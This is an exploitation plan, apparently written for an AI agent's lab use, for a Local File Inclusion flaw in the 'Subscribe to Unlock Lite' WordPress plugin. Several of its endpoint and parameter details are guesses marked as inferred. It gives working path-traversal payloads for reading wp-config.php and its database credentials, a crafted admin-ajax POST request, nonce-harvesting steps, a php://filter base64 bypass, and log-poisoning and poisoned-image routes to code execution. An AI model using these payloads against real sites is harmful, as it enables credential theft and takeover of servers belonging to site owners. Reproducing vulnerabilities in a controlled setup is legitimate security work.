Exploitation Research Plan: CVE-2025-68563 (Subscribe to Unlock Lite LFI)

This plan outlines the steps to verify and exploit a Local File Inclusion (LFI) vulnerability in the "Subscribe to Unlock Lite" plugin.

1. Vulnerability Summary

The Subscribe to Unlock Lite plugin (versions <= 1.3.0) contains an authenticated Local File Inclusion vulnerability. The flaw exists because an AJAX handler or shortcode processing function uses user-supplied input to construct a file path for a PHP include or require statement without sufficient validation (e.g., failing to use basename() or a whitelist). This allows a Subscriber-level user to traverse directories and include arbitrary files from the server.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (Authenticated) or a frontend page (if triggered via shortcode).
• Action (Inferred): Likely a wp_ajax_ action such as stu_lite_load_template, stu_preview_locker, or similar.
• Vulnerable Parameter (Inferred): Parameters like template, style, type, or layout.
• Authentication: Requires a user with at least Subscriber privileges.
• Preconditions: The attacker must be logged in and possess a valid nonce if the handler enforces one.

3. Code Flow (Inferred)

1. The plugin registers an AJAX action via add_action( 'wp_ajax_...', ... ).
2. The handler function retrieves a parameter from $_POST or $_GET.
3. The handler constructs a path: $path = STU_LITE_DIR . '/templates/' . $_POST['template'] . '.php'; (Example).
4. The handler executes include( $path ); or include_once( $path );.
5. Because $_POST['template'] is not sanitized for path traversal (../), an attacker can manipulate $path to point to any file (e.g., ../../../../wp-config.php).

4. Nonce Acquisition Strategy

Since the vulnerability requires authentication, the nonce is likely exposed to logged-in users.

1. Identify Nonce Action: Search the plugin code for wp_create_nonce or check_ajax_referer.
   • Search Command: grep -rn "check_ajax_referer" wp-content/plugins/subscribe-to-unlock-lite/
2. Locate Localized Script: Check where the nonce is passed to the frontend.
   • Search Command: grep -rn "wp_localize_script" wp-content/plugins/subscribe-to-unlock-lite/
3. Extraction:
   • Log in as a Subscriber.
   • Navigate to a page where the plugin is active (or the WordPress Dashboard).
   • Open the browser console or use browser_eval.
   • Check for objects like stu_lite_ajax_obj or stu_vars.
   • Command: browser_eval("window.stu_lite_params?.nonce") (Replace stu_lite_params with the actual JS object name found in step 2).

5. Exploitation Strategy

Step 1: Discover the Endpoint and Parameter

Analyze the plugin files to find the specific AJAX action.

• Target File: wp-content/plugins/subscribe-to-unlock-lite/includes/class-subscribe-to-unlock-lite-ajax.php (or similar).
• Target Logic: Look for include statements involving $_REQUEST, $_POST, or $_GET.

Step 2: Craft the Payload

If the code is include( $plugin_path . $user_input . '.php' ):

• Payload: ../../../../wp-config (The .php extension is often appended by the code).

If the code is include( $user_input ):

• Payload: ../../../../wp-config.php.

Step 3: Execute HTTP Request

Using the http_request tool:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

action=[ACTUAL_ACTION_NAME]&nonce=[NONCE]&template=../../../../wp-config

6. Test Data Setup

1. Install Plugin: Ensure "Subscribe to Unlock Lite" v1.3.0 is installed and active.
2. Create User: Create a user with the Subscriber role.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Identify Action: If the action is triggered by a shortcode, create a post:
   • wp post create --post_type=post --post_status=publish --post_content='[stu-lite-locker]' --post_title='Locker Page'

7. Expected Results

• Success: The HTTP response body contains the contents of wp-config.php (look for DB_NAME, DB_USER, DB_PASSWORD).
• Alternative: If a PHP file is included, the code executes. If a non-PHP file (like /etc/passwd) is included, its text content is returned.

8. Verification Steps

1. Confirm File Read: Verify if the output matches the actual wp-config.php on the server.
   • wp config get --all
2. Log Check: Check the WordPress debug log if the include fails (it may reveal the full path it tried to include).
   • tail -f wp-content/debug.log

9. Alternative Approaches

• Log File Poisoning: If you can't read wp-config.php (due to path suffixing), try to include the WordPress debug log or Apache/Nginx access logs after injecting PHP code into them via a failed login attempt or a specific User-Agent.
• Uploads Directory: If the plugin allows subscribers to upload images (for locker customization), upload a "safe" image containing PHP code in its EXIF metadata/body, then include it:
  • template=../../uploads/2023/10/malicious_image.jpg
• Wrapper Bypasses: If filters are in place, try PHP filters:
  • template=php://filter/convert.base64-encode/resource=../../../../wp-config (This bypasses execution and returns the base64-encoded source).